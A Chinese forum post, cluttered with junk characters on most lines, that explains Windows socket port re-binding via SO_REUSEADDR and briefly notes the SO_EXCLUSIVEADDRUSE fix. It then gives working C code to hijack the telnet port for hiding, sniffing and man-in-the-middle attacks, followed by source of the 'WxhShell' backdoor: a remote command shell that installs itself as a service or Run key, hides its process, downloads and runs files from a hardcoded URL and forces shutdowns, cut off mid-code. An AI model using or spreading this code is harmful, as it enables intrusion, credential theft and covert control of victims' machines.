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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2 e#"JZ=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f)gV2f0t  
p_e x  
  saddr.sin_family = AF_INET; n "^rS}Y]  
}H saJ=1U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (~! @Uz5  
U3v~R4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _3O*"S=1  
TDy)A2Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2 n2,MB  
k6Vs#K7a  
  这意味着什么?意味着可以进行如下的攻击: yd'cLZd<}  
Zm|il9y4m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DT6 BFx  
VkJTcC:1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 45iO2W uur  
N1'Yo:_A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \IzZJGi  
NS+uiy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .L^;aL  
:B|rs&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K;s`  
l^o>7 cM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W?.xtQEv  
~x_(v,NW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z~v-8aw  
N[O_}_  
  #include @E h(GZN  
  #include \,:7=  
  #include #>BC|/P}  
  #include    LUz`P6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4j i#Q  
  int main() Bxj4rC[  
  { L]BTX]  
  WORD wVersionRequested; W&Xi &[Ux  
  DWORD ret; 7ruWmy;j  
  WSADATA wsaData; 4K4u]"1  
  BOOL val;  P/]8+_K  
  SOCKADDR_IN saddr; A^0-%Ygl  
  SOCKADDR_IN scaddr; ?9 `T_,  
  int err; Yx ;j  
  SOCKET s; 0&r}'f ?  
  SOCKET sc; \S~<C[P  
  int caddsize; R\$6_  
  HANDLE mt; 5VfpeA `  
  DWORD tid;   _nw\ac#*  
  wVersionRequested = MAKEWORD( 2, 2 ); F[.IF5_  
  err = WSAStartup( wVersionRequested, &wsaData ); m5KLi &R  
  if ( err != 0 ) { wc~9zh  
  printf("error!WSAStartup failed!\n"); TFhYu  
  return -1; Q-U,1b  
  } 8@T0]vH&  
  saddr.sin_family = AF_INET; {z'Gg  
   WCp[6g&%O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R~N%sn  
jd 8g0^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :n x;~f  
  saddr.sin_port = htons(23); nXxnyom,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {>brue*)  
  { W`n_m&Y\  
  printf("error!socket failed!\n"); [FWB  
  return -1; pcm1IwR`  
  } Ww{-(Ktx  
  val = TRUE; O9{A)b!HB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xz,M>Ua  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FOcDBCrOe  
  { , -Lv3  
  printf("error!setsockopt failed!\n"); Yt4v}{+  
  return -1; v\kd78,  
  } /J,&G: Er  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _ g"su #  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7G_lGV_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fAvB!e  
\l 3M\$oS>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `7',RUj|D  
  { e9B$"_ &2  
  ret=GetLastError(); U(:t$SBKy  
  printf("error!bind failed!\n"); Aq/wa6^%  
  return -1; a6o p  
  } `"bp -/  
  listen(s,2); D/WzYc2h]  
  while(1) 9Mv4=k^7|4  
  { $I /RN  
  caddsize = sizeof(scaddr); 6r,zOs-I]  
  //接受连接请求 aII:Pzh]B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]O+Nl5*  
  if(sc!=INVALID_SOCKET) .GPuKP|  
  { j!`2Z@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nSU7,K`PM  
  if(mt==NULL) 2f-Or/v  
  { .O.fD  
  printf("Thread Creat Failed!\n"); f<3r;F7  
  break; 11yS2D   
  } Aj=c,]2  
  } /M_kJe,%  
  CloseHandle(mt); C6b(\#g(  
  } >Q^*h}IdW  
  closesocket(s); HM\gOz  
  WSACleanup(); %!)Dk<  
  return 0; VnMiZAHR  
  }   N" oJ3-~  
  DWORD WINAPI ClientThread(LPVOID lpParam) k+cHx799  
  { HC ?XNR&  
  SOCKET ss = (SOCKET)lpParam; Z?'){\$*  
  SOCKET sc; >(a/K2$*1  
  unsigned char buf[4096]; {eo?vA8SE  
  SOCKADDR_IN saddr; k\M">K0E  
  long num; BRMR> ~k(  
  DWORD val; Yy0m &3[  
  DWORD ret; $d7{q3K&1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H=9\B}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +UP?M4g  
  saddr.sin_family = AF_INET; Eh f{Kl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zX/9^+p:  
  saddr.sin_port = htons(23); ]dIr;x`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rk(0w|zR+  
  { u8@>ThPD  
  printf("error!socket failed!\n"); uc;QSVWGy8  
  return -1; K?+ Rq  
  } $rE_rZ+]="  
  val = 100; \>-%OcYlM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Z@`HFZJ  
  { x;R9Gc[5  
  ret = GetLastError(); lL:J:  
  return -1; l=JK+uZ  
  } V|fs"HY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  3^zO G2  
  { = 8%+$vX  
  ret = GetLastError(); x_5H_! \#  
  return -1; 4%k_c79>  
  } Y,@{1X`0@3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 07+Qai-]  
  { %fz!'C_4  
  printf("error!socket connect failed!\n"); #yVY! +A  
  closesocket(sc); D?Q{&6p  
  closesocket(ss); g< {jgF  
  return -1; &6 L{1  
  } L1k_AC1.M  
  while(1) ?o9g5Z  
  { ~dK)U*Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fW4N+2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iB5Se  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HIi 5kv]}|  
  num = recv(ss,buf,4096,0); 6F3#Rxh  
  if(num>0) (v8jVbg  
  send(sc,buf,num,0); u1&pJLK0[  
  else if(num==0) /wL}+  
  break; ]W%<<S  
  num = recv(sc,buf,4096,0); PQ|kE`'  
  if(num>0) eJ#q! <   
  send(ss,buf,num,0); GKwm %A  
  else if(num==0) dg 4 QA_"  
  break; @D rMaTr  
  } ]J C}il_b  
  closesocket(ss); fG5U' Vw  
  closesocket(sc); B@l/'$G  
  return 0 ; /nRi19a%xU  
  } aQaO.K2  
"el}@  
B&yb%`9],W  
========================================================== kQ~*iY  
gfs?H#  
下边附上一个代码,,WXhSHELL #|34(ML  
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========================================================== Qsc%qt-l  
C-$S]6  
#include "stdafx.h" l =ZhHON  
0*q&)  
#include <stdio.h> Z| Z447_  
#include <string.h> XU .FLNe  
#include <windows.h> }Z- ]m  
#include <winsock2.h> e@6<mir[4  
#include <winsvc.h> &<-Sxjj  
#include <urlmon.h> e qQAst#~  
mh!;W=|/"  
#pragma comment (lib, "Ws2_32.lib") `6b!W0$ -  
#pragma comment (lib, "urlmon.lib") x5k6yHn  
i!<,8e=  
#define MAX_USER   100 // 最大客户端连接数 S\ ~Wpf  
#define BUF_SOCK   200 // sock buffer #z)@T  
#define KEY_BUFF   255 // 输入 buffer h84}lxT^]  
)W~w72j-  
#define REBOOT     0   // 重启 M& GA:`  
#define SHUTDOWN   1   // 关机 "*WzoRA={  
AW4N#gt8',  
#define DEF_PORT   5000 // 监听端口 pIk&NI  
cejSGsW6q  
#define REG_LEN     16   // 注册表键长度 %< JjftNQ  
#define SVC_LEN     80   // NT服务名长度 67Z|=B !7  
e;R5A6|  
// 从dll定义API ~fn2B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P'GX-H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1K&z64Q5J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pm,&kE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !MNUp(:  
[>Kkj;*  
// wxhshell配置信息 I3D8xl>P\  
struct WSCFG { )R+@vh#Q<$  
  int ws_port;         // 监听端口 Q i#%&Jz>f  
  char ws_passstr[REG_LEN]; // 口令 eXWiTi@  
  int ws_autoins;       // 安装标记, 1=yes 0=no C".&m  
  char ws_regname[REG_LEN]; // 注册表键名 {n=)<w  
  char ws_svcname[REG_LEN]; // 服务名 0m6Vf x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CE:TQzg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oorit  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Qz#;HI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  d>}pz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5V4Ze;K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ` ZXX[&C  
gX5I`mm  
}; 2c@R!*  
c%r?tKG6  
// default Wxhshell configuration &xMR{:  
struct WSCFG wscfg={DEF_PORT, pj G6v(zK  
    "xuhuanlingzhe", {BKu'A  
    1, R$4&>VBu  
    "Wxhshell", deHhl(U;  
    "Wxhshell", I4ZL +a  
            "WxhShell Service", Z!60n{T79c  
    "Wrsky Windows CmdShell Service", snO d 3Bw  
    "Please Input Your Password: ",  8Br*  
  1, Q5b?- P  
  "http://www.wrsky.com/wxhshell.exe", W)ihk\E  
  "Wxhshell.exe" 2@@OjeANsX  
    }; ,5HQHo@  
b"t95qlL  
// 消息定义模块 x'@0]f.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s\,F 6c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mS5'q q;t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }(z[ rZ  
char *msg_ws_ext="\n\rExit."; uA7~`78  
char *msg_ws_end="\n\rQuit."; RrRrB"!8nR  
char *msg_ws_boot="\n\rReboot..."; :t-a;Q;  
char *msg_ws_poff="\n\rShutdown..."; 3t5`,R1@t  
char *msg_ws_down="\n\rSave to "; jt?4raNW  
N}b/; Y  
char *msg_ws_err="\n\rErr!"; M.))UKSF  
char *msg_ws_ok="\n\rOK!"; ^&buX_nlO  
u~7mH  
char ExeFile[MAX_PATH]; sxIvL7jl  
int nUser = 0; |} ;&xI  
HANDLE handles[MAX_USER]; aa2&yc29hp  
int OsIsNt; X@|'#%  
hJ\IE?+  
SERVICE_STATUS       serviceStatus; IL`X}=L_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gf( hN|X.  
e3,TY.,Ay  
// 函数声明 b}< T<  
int Install(void); 5A oKlJrY  
int Uninstall(void); CRf!tsj@  
int DownloadFile(char *sURL, SOCKET wsh); 16ahU$@-  
int Boot(int flag); hJ$o+sl  
void HideProc(void); ;= ^kTb`X  
int GetOsVer(void); jh0``{  
int Wxhshell(SOCKET wsl); NFw7g&1;Kp  
void TalkWithClient(void *cs); q&OF?z7H  
int CmdShell(SOCKET sock); ["Mq  
int StartFromService(void); H6%QM}t  
int StartWxhshell(LPSTR lpCmdLine); 'QW/TJ=7r  
IV*@}~BJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $51M' Qu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?=,4{(/)  
/ RU'~(  
// 数据结构和表定义 /(Mi2$@v1  
SERVICE_TABLE_ENTRY DispatchTable[] = C4wJSQl_I  
{ q-kMqnQ  
{wscfg.ws_svcname, NTServiceMain}, .XDY1~w0  
{NULL, NULL} QP/%+[E.  
}; FN jT?*  
u"eO&Vc  
// 自我安装 +@*}_%^l"  
int Install(void) #yz5CWu  
{ ev~/Hf  
  char svExeFile[MAX_PATH]; !-%fCg(B  
  HKEY key; aDEz |>q  
  strcpy(svExeFile,ExeFile); ZslH2#   
CR8a)X4j#  
// 如果是win9x系统,修改注册表设为自启动 y.,S}7l:  
if(!OsIsNt) { #=@H-ZuD7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9P rw/8P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4CAV)  
  RegCloseKey(key); #m>Rt~(,S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pf,S`U w;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~DY5`jV  
  RegCloseKey(key); |]=. ^  
  return 0; eyq\a'tyB  
    } '2)c;/-E  
  } 1$S;#9PQ  
} UrAg*v!Qy  
else { ttQX3rmF01  
P$l-p'U-  
// 如果是NT以上系统,安装为系统服务 hv" 'DP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R}~p1=D  
if (schSCManager!=0) % 1f, 8BM  
{ KKMzhvf]#  
  SC_HANDLE schService = CreateService iV+'p->/  
  ( yWS #{| o(  
  schSCManager, D2hEI2S  
  wscfg.ws_svcname, <(|No3jx  
  wscfg.ws_svcdisp, /rMxl(wD'  
  SERVICE_ALL_ACCESS, 8R !3}kx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *qx<bY@F  
  SERVICE_AUTO_START, Z)iRc$;  
  SERVICE_ERROR_NORMAL, >y P`8Oq[  
  svExeFile, #$\cRLPg  
  NULL, TTNgnP  
  NULL, m]g"]U:  
  NULL, @3D8TPH  
  NULL, !sF! (u7  
  NULL !A R$JUnX  
  ); JGmW>mH  
  if (schService!=0) eFO+@  
  { qg7] YT&  
  CloseServiceHandle(schService); >)Ih[0~M  
  CloseServiceHandle(schSCManager); Z=;+) #,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dq T)%a  
  strcat(svExeFile,wscfg.ws_svcname); @ mzf(Aq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3F%Q q7v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kBPFk t2  
  RegCloseKey(key); ~cE;k@  
  return 0; to0tH^pD  
    } 7ko7)"N  
  } OtopA)  
  CloseServiceHandle(schSCManager); 4fDo}~  
} x,9fOA  
} \L#BAB6z  
Lh=~3  
return 1; TO\%F}m(  
} Q]*YIb~D  
JCIm*6~  
// 自我卸载 -KRHcr \  
int Uninstall(void) Fa(}:Ug  
{ b0a'Y"oef4  
  HKEY key; M mg#Vy~  
o3H+.u$  
if(!OsIsNt) { ?Y"bt^4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )k&pp^q\  
  RegDeleteValue(key,wscfg.ws_regname); `Tzq vnn  
  RegCloseKey(key); 4'BzW Z;_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '-#6;_ i<  
  RegDeleteValue(key,wscfg.ws_regname); 39!o!_g  
  RegCloseKey(key); ~L(_q]  
  return 0; lwH&4K  
  } YQR*?/?a  
} dRZor gar  
} @S~'m;  
else { da@y*TO#i  
GS{:7%=j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ ADY?  
if (schSCManager!=0) D} 0>x~  
{ oWyg/{M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V>P\yr?  
  if (schService!=0) RCt)qh+  
  { 1at$_\{.(  
  if(DeleteService(schService)!=0) { a73b/_zZ=  
  CloseServiceHandle(schService); w8%yX$<  
  CloseServiceHandle(schSCManager); :Puv8[1i  
  return 0; Rn{q/h  
  } 2W pe( \(  
  CloseServiceHandle(schService); 7>{edNy!,  
  } :0T]p"y4  
  CloseServiceHandle(schSCManager); }jd[>zk  
} \Y9=d E}  
} HqgTu`  
!U`T;\,v5  
return 1; Vm8;{Sq  
} cXJgdBwo  
y<F$@  
// 从指定url下载文件 VhSKtD1  
int DownloadFile(char *sURL, SOCKET wsh) hl~(&D1^  
{ [ur/`   
  HRESULT hr;  CjQ_oNI  
char seps[]= "/"; `@.YyPxX\  
char *token; =mqV&FgRo  
char *file; Lu:!vTRmw  
char myURL[MAX_PATH]; ~73"AWlp  
char myFILE[MAX_PATH]; {>FA ~}cX.  
4BEVG&Ks  
strcpy(myURL,sURL); =< CH(4!  
  token=strtok(myURL,seps); KvilGh10  
  while(token!=NULL) RAE|eTnna  
  { 6}NvVolr  
    file=token; >^J!Z~;L)  
  token=strtok(NULL,seps); [9?= &O#*  
  } `*oLEXYN  
g8kw|BgnL  
GetCurrentDirectory(MAX_PATH,myFILE); =r0!-[XCa  
strcat(myFILE, "\\"); SgXXitg9+  
strcat(myFILE, file); ObM5vrEk|  
  send(wsh,myFILE,strlen(myFILE),0); [F/xU  
send(wsh,"...",3,0); D'nV &m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F$ h/k^  
  if(hr==S_OK) 6l_8Q w*5I  
return 0; R&xD|w8UjM  
else W>@%d`>o5  
return 1; %oor7 -l  
La9@h"  
} T[Gz  
E"G. _<3J8  
// 系统电源模块 RTl7vzG  
int Boot(int flag) rkD4}jV  
{ 0>e>G(4(8  
  HANDLE hToken; zV80r+y  
  TOKEN_PRIVILEGES tkp; 5Rec}H  
19# )# n^  
  if(OsIsNt) { {Zseu$c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Osy5|Ts  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >8AtT=}w  
    tkp.PrivilegeCount = 1; 3:;%@4f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '6WDs]\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Cg/Rwl  
if(flag==REBOOT) { (u'/tNGS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3p4bOT5  
  return 0; U73`HDJ  
} `UJW:qqW  
else { =p7W^/c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1b!l+ 8!  
  return 0; $\K(EBi#G  
} ud#8`/!mq  
  } '+QgZ>q"  
  else { Z\7bp&&  
if(flag==REBOOT) { +es6c')  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z`2d(KE?  
  return 0; plIx""a^h  
} dk]ro~ [  
else { !*ucVv;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Z5#;rgem  
  return 0; ixH7oWH#  
} V9bLm,DtT  
} Z"^@B2v  
DtS{iH=s]  
return 1; 1M{#"t{6  
} N|)V/no6  
3//v{ce1]  
// win9x进程隐藏模块 S\rfR N  
void HideProc(void)  "O 'I  
{ Smu x&e  
+~v(*s C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m{yON&y  
  if ( hKernel != NULL ) v%- V|L  
  { 4%7*tVG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %G SSy_c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .KSGma6]  
    FreeLibrary(hKernel); U,S286  
  } /W>"G1)  
TK>}$.c%+  
return; `7A@\Ha3  
} $F%?l\7j  
 f#nmr5F  
// 获取操作系统版本 a+i+#*8wm  
int GetOsVer(void) T}TP.!0E  
{ e- CW4x  
  OSVERSIONINFO winfo; *S4P'JSY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yB1>83!q  
  GetVersionEx(&winfo); AVWrD[ wD2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iE`aGoA  
  return 1; #*/h*GNMs  
  else &O,$l3 P  
  return 0; g1|c?#fwo  
} 2cl~Va=  
n}?G!ySg  
// 客户端句柄模块 6hq)yUvo4  
int Wxhshell(SOCKET wsl) -*2X YTe  
{ aB)DX  
  SOCKET wsh; v],DBw9  
  struct sockaddr_in client; ~4<3`l=A  
  DWORD myID; 6f!mk:\T.  
QR'g*Bro  
  while(nUser<MAX_USER) QEKFuY<E+  
{ {  9$Q|XK  
  int nSize=sizeof(client); LH;G :  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nL!@#{z  
  if(wsh==INVALID_SOCKET) return 1; !y?hn$w0  
-pu\p-Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z B&Uhi  
if(handles[nUser]==0) uyj*v]AE'  
  closesocket(wsh); PEIr-qs%D  
else a6E"  
  nUser++; Hrnql  
  } +GU16+w~E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O$/ swwB!  
fZ fiiE~7J  
  return 0; G{~p.?f:  
} ew$Z5N:  
SGd.z6"H  
// 关闭 socket A5ID I<a  
void CloseIt(SOCKET wsh) iXRt9)MT{  
{ Z-a(3&  
closesocket(wsh); ;i :wY&  
nUser--; 3+5\xRq  
ExitThread(0); p9WskYpm  
} J9.p8A^^2  
@|Bp'`j%J  
// 客户端请求句柄 !\O,dq  
void TalkWithClient(void *cs) ~|C1$.-  
{ MToQ8qKs  
3y B6]U  
  SOCKET wsh=(SOCKET)cs; _PXo'*j  
  char pwd[SVC_LEN]; EsB'nf r  
  char cmd[KEY_BUFF]; ]?$y}  
char chr[1]; [#'_@zZz  
int i,j; Sr 4 7u{n  
'a?.X _t  
  while (nUser < MAX_USER) { Ec*7n6~9  
SfSEA^@|  
if(wscfg.ws_passstr) { 'TsZuZW]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <" l;l~Y1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -xIhN?r)  
  //ZeroMemory(pwd,KEY_BUFF); kQlcT"R  
      i=0; Ytwv=;h-  
  while(i<SVC_LEN) { @~G`~8   
p Y>-N  
  // 设置超时 )}\@BtcjA]  
  fd_set FdRead; 0a 6z "K}  
  struct timeval TimeOut; gD+t'qg$  
  FD_ZERO(&FdRead); @SG"t,5s  
  FD_SET(wsh,&FdRead); SJ7=<y}[d  
  TimeOut.tv_sec=8; 8A u<\~p  
  TimeOut.tv_usec=0; 6Ok=q:;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nL 07^6(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SSbK[aR  
qq3Qd,$Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vP)~j1  
  pwd=chr[0]; 0+y~RTAVB  
  if(chr[0]==0xd || chr[0]==0xa) { i3&B%JiLX  
  pwd=0; L8xprHgL  
  break; -JhjTA  
  } D4]B>  
  i++; ,W8Iabi^  
    } 7oLf5V1~  
%<#3_}"T|  
  // 如果是非法用户,关闭 socket bok 74U]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 15T[J%7f  
} f3>6:(  
R{KIkv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }%FuL5Tx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (s@tU>4U  
!"x7re  
while(1) { Sc$8tLDLj  
ig _<kj;Vd  
  ZeroMemory(cmd,KEY_BUFF); H?(SSL  
dtnet_j  
      // 自动支持客户端 telnet标准   XL/o y'_  
  j=0; [gns8F#H\  
  while(j<KEY_BUFF) { OC>_=i$ '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $#ju?B~  
  cmd[j]=chr[0]; ,\9mAt1O  
  if(chr[0]==0xa || chr[0]==0xd) { ZIL| .<8I  
  cmd[j]=0; BS,5W]ervE  
  break; 9}jq`xSL  
  } d J%Rk#?;A  
  j++; CndgfOF  
    } L8]{B  
[+MX$y  
  // 下载文件 =_m9so  
  if(strstr(cmd,"http://")) { 2 ssj(Qo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %::deV7  
  if(DownloadFile(cmd,wsh)) X})Imk7&E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'tu@`7*  
  else Sa1z,EP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,WB_C\.#XN  
  }  c(V=.+J  
  else { Ds%&Mi  
g?[& 0r1  
    switch(cmd[0]) { ~l*?D7[o  
  lHKf#|  
  // 帮助 5%Oyvt]}2  
  case '?': { euj8p:+X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ig2 +XR#%  
    break; ,s><kHJ  
  } 8hKP  
  // 安装 T~o{woq}g  
  case 'i': { ]C ~1]7vb  
    if(Install()) 7{An@hNh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :`Uyn!w  
    else QSF"8Uk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I& M36f  
    break; K4k~r!&OU  
    } Gh2Q$w:  
  // 卸载 '{0[&i*  
  case 'r': { $' (QTEM  
    if(Uninstall()) EzIs@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W1(tEq59  
    else q1f=&kGX~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2sqm7th  
    break; 1 @%B?  
    } &v$,pg%-:  
  // 显示 wxhshell 所在路径 {eEC:[  
  case 'p': { I%9bPQ  
    char svExeFile[MAX_PATH]; _^ q\XPS  
    strcpy(svExeFile,"\n\r"); [Y$5zeA  
      strcat(svExeFile,ExeFile); {4: -0itG  
        send(wsh,svExeFile,strlen(svExeFile),0); G` ,u40a  
    break; l801` ~*gO  
    } Sk/#J!T8{  
  // 重启 ]am~aJ|L  
  case 'b': { @8=vFP'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I(]BMMj  
    if(Boot(REBOOT)) gwSN>oj &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6:W'u^  
    else { dh^+l;!L  
    closesocket(wsh); K DYYB6|  
    ExitThread(0); k]?z~p  
    } k7^R,.c@  
    break; =2 &hQd   
    } ?wd|G4.Vo  
  // 关机 e=t<H"&  
  case 'd': { v@8S5KJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?fK^&6pI  
    if(Boot(SHUTDOWN)) .Gizz</P~  
